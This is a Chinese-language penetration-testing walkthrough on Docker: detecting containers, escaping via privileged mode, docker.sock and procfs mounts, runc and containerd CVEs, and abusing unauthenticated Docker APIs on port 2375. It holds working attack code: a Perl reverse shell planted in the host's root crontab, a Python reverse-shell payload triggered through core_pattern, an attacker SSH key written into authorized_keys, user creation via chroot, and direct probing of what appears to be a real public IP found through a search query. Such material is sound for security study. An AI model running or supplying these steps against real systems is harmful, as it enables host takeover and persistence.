1.Docker环境配置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
apt install docker.io //安装docker
systemctl status docker //查看docker状态
systemctl start docker //启动docker
//配置镜像地址
sudo tee /etc/docker/daemon.json <<'EOF'
{
"registry-mirrors": [
"https://docker.1panel.live",
"https://hub.1panel.dev",
"https://docker.kejilion.pro",
"https://docker.xuanyuan.me",
"https://hubp.me",
"https://dockerproxy.net",
"https://hub2.nat.tf",
"https://doublezonline.cloud"
]
}
EOF
//重载并重启 Docker
sudo systemctl daemon-reload
sudo systemctl restart docker
//验证配置是否生效
docker info | grep -A 10 "Registry Mirrors"
|

1
2
|
docker pull xxx
docker run xxx --privileged=true
|
2.如何判断当前环境是否为容器环境
https://www.cnblogs.com/xiaozi/p/17517237.html
在渗透测试过程中,我们的起始攻击点可能在一台虚拟机里或是一个Docker环境里,甚至可能是在K8s集群环境的一个pod里,我们应该如何快速判断当前是否在容器环境中运行呢?
当拿到shell权限,看到数字和字母随机生成的主机名大概率猜到在容器里了,查看进程,进程数很少,PID为1的进程为业务进程,这也是容器环境的典型特征。当然,以上这两种都是比较主观的判断。接下来,我们再来盘点下比较常用的几种检测方式。
2.1.查询cgroup信息
1
|
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker" //这个判断不一定可靠。现代 Docker(尤其是使用 cgroup v2 的系统)可能不会在 cgroup 路径中包含 "docker" 字样。
|

虚拟机环境输出如下

2.2.检查/.dockerenv文件
通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:**ls -alh /.dockerenv** 可以找到文件。
1
|
[ -f /.dockerenv ] && echo "In Docker" || echo "Not in Docker"
|

2.3.检查挂载信息
mount | grep ‘/ type’
1
2
3
|
/var/www/html/hackable/uploads/ > mount | grep '/ type'
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/l/XXIJBJHBTQR6LEVM34BN64XGTN:/var/lib/docker/overlay2/l/SUVY4U2KFMSLRP3VN5J6Z2W5AR:/var/lib/docker/overlay2/l/FCYYDN3GQV5CHTGX4SWMMY5D4F:/var/lib/docker/overlay2/l/2SXV4YFRSW7LIS5QDITN2FZUKU:/var/lib/docker/overlay2/l/2PQM3KWBS7FFAJTG5I4GHRNHOB:/var/lib/docker/overlay2/l/U74HQVKHQ3IZWFRDEC5X5QPB2A,upperdir=/var/lib/docker/overlay2/8bcaf48c88b295de3361fb4eaa8b3be432ae09e480d6c24dfb1e2827dbe8ff6c/diff,workdir=/var/lib/docker/overlay2/8bcaf48c88b295de3361fb4eaa8b3be432ae09e480d6c24dfb1e2827dbe8ff6c/work)
|
容器环境输出如下

虚拟机环境输出如下

2.4.查看硬盘信息
fdisk -l 容器输出为空,虚拟机环境存在输出
容器环境输出如下

虚拟机环境输出如下

3.容器逃逸
3.1.特权模式
1
|
docker run --rm --privileged=true -it alpine //启动一个容器
|
3.1.1.如何判断容器是否为特权模式启动?
https://wiki.teamssix.com/cloudnative/docker/container-escape-check
1
|
cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode" //判断容器是否为特权模式启动,也不准
|


不如直接尝试特权操作
1
2
3
4
|
mount -t proc proc /proc && echo "Privileged!" || echo "Not privileged"
//尝试特权操作
ls /dev/kmsg && echo "Privileged!" || echo "Restricted"
|

3.1.2.容器逃逸

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下
1
2
|
mkdir /test && mount /dev/sda1 /test
cat /test/etc/shadow //尝试访问宿主机 shadow 文件,可以看到正常访问
|

后渗透利用
1
2
3
4
5
6
|
//在计划任务中写入反弹shell
echo $'*/1 * * * * perl -e \'use Socket;$i="1.1.1.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /test/var/spool/cron/crontabs/root
//创建用户登录
mount /dev/sda1 /mnt
chroot /mnt adduser john
|
3.2.危险挂载
3.2.1.挂载 Docker Socket 逃逸
https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html
Docker Socket 用来与守护进程通信即查询信息或者下发命令。
1
2
3
4
|
//环境准备
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
docker exec -it with_docker_sock /bin/bash //进入镜像
|
如果存在docker.sock这个文件,说明漏洞可能存在
1
|
ls -lah /var/run/docker.sock
|

1
2
3
4
5
6
7
|
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com | sed 's|https://download.docker.com|https://mirrors.aliyun.com/docker-ce|g' | sh
//在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
chroot /host
|

3.2.2.挂载宿主机 procfs 逃逸
https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。
Docker默认情况下不会为容器开启 User Namespace
1
2
3
4
5
|
//创建一个容器并挂载 /proc 目录
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
//如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
find / -name core_pattern
|

1
2
3
4
|
//找到当前容器在宿主机下的绝对路径
cat /proc/mounts | xargs -d ',' -n 1 | grep workdir
/var/lib/docker/overlay2/b6dd750b0dc302208909571f9caa6be7a16129271f837db5d781f3fbabb9b9f3/merged
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
//写入文件
cat > /tmp/.rce.py << 'EOF'
#!/usr/bin/python3
import os
import pty
import socket
lhost = "1.1.1.1"
lport = 6666
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
EOF
//或者
apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py
chmod 777 .rce.py
//写入反弹 shell 到目标的 proc 目录下
echo -e "|/var/lib/docker/overlay2/b6dd750b0dc302208909571f9caa6be7a16129271f837db5d781f3fbabb9b9f3/merged/tmp/.rce.py \rcore " > /host/proc/sys/kernel/core_pattern
cat > /tmp/rce.c << 'EOF'
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
EOF
gcc rce.c -o rce
./rce
|


3.3.Docker 历史版本漏洞逃逸
https://www.cnblogs.com/loveqixin/p/18648231
3.3.1.CVE-2019-5736 RunC逃逸(鸡肋)
影响版本:Docker <= 18.09.2
RunC version <= 1.0-rc6
由于版本过老,现在 Docker 官方和所有主流镜像站(包括阿里云)早已从 APT 仓库中移除了 18.06 版本。
1
2
3
4
5
6
7
8
9
|
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce //列出可安装docker-ce版本
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
docker version
docker-runc --version
|
https://github.com/Frichetten/CVE-2019-5736-PoC 漏洞利用poc
更改一下要执行底命令编译后上传即可

需要管理员手动进入容器才能触发
3.3.2.CVE-2020-15257 containerd逃逸
影响版本:containerd < 1.4.3 & containerd < 1.3.9
1
2
3
4
5
6
7
8
9
10
11
12
13
|
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial
docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1
sudo apt install -y \
docker-ce=5:19.03.6~3-0~ubuntu-xenial \
docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial \
containerd.io=1.2.4-1
|
https://github.com/cdk-team/CDK/wiki/CDK-Home-CN
将编译的CDK文件上传到docker环境中
1
2
3
4
5
6
|
chmod 777 cdk_linux_amd64
./cdk_linux_amd64 evaluate //本机信息收集
cdk run --list //列出所有EXP
./cdk_linux_amd64 run shim-pwn reverse xx.xx.xx.xx xxxx //这是指定漏洞利用
./cdk_linux_amd64 auto-escape id //自动化漏洞扫描
|
https://github.com/teamssix/container-escape-check 容器逃逸检测
4.Docker常见漏洞
https://mp.weixin.qq.com/s/tdL2E501k2EhfJ4WurVd4Q
https://mp.weixin.qq.com/s/bzIAQK4_CuSZcfsX6r6FSg
4.1.Docker未授权漏洞
https://mp.weixin.qq.com/s/Smzz-1wcxG47EKiRnFWlZg
1
|
搜索语法:port:"2375" AND service: "docker"
|
4.1.1.查看版本接口
1
|
http://120.25.192.92:2375/version
|

4.1.2.查看info目录
1
|
http://120.25.192.92:2375/info
|

4.1.3.查看image镜像
1
|
http://120.25.192.92:2375/images/json
|

4.1.4.Docker连接未授权端口
1
|
docker -H tcp://120.25.192.92:2375 ps -a
|

1
2
3
|
docker -H tcp://120.25.192.92:2375 images 查看镜像
docker -H tcp://1.1.1.1 stop d192a8dee160 #停止一个已经开启的容器
docker -H 1.1.1.1 exec -it 3d1c2eaa9df8 /bin/bash #连接一个容器
|

4.1.5.写公钥GetShell
1
|
ssh-keygen -t rsa #生成公钥
|

1
|
cat /root/.ssh/id_rsa.pub #查看生成的公钥
|

1
2
3
4
5
6
7
|
#挂载宿主机的/mnt目录写入公钥
docker -H tcp://1.1.1.1 run -it -v /:/mnt --entrypoint /bin/bash [images name]
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC2oUPAuPkNYqvVTALPCfUDxX5yEgBsaV1s+A3Jyk83CJxWwS7e327gvtIPO1VGY4QHpZMLAoi5SdO4Ru9Wm8E2ZojVTyb5pHTDZf1XizXXCakO39u5mT0ET/rwga5NVllp2ApdL4sL9wBihvHi1dlDTBUQvArpRPgKSnrBSPSADIBc4o6GSEBU6EUJMV5rtqNexQq53636ZiLjpLLEjJBsYXDpRU46mxQJjm/LqCENHdqVsvgoGXBqcDWjGqv59yn2KqgKKPs= root@admin" > /mnt/root/.ssh/authorized_keys
#连接目标主机获取shell
ssh root@1.1.1.1 -i id_rsa
|
4.2.Docker容器逃逸漏洞
https://blog.csdn.net/qq_42383069/article/details/124634135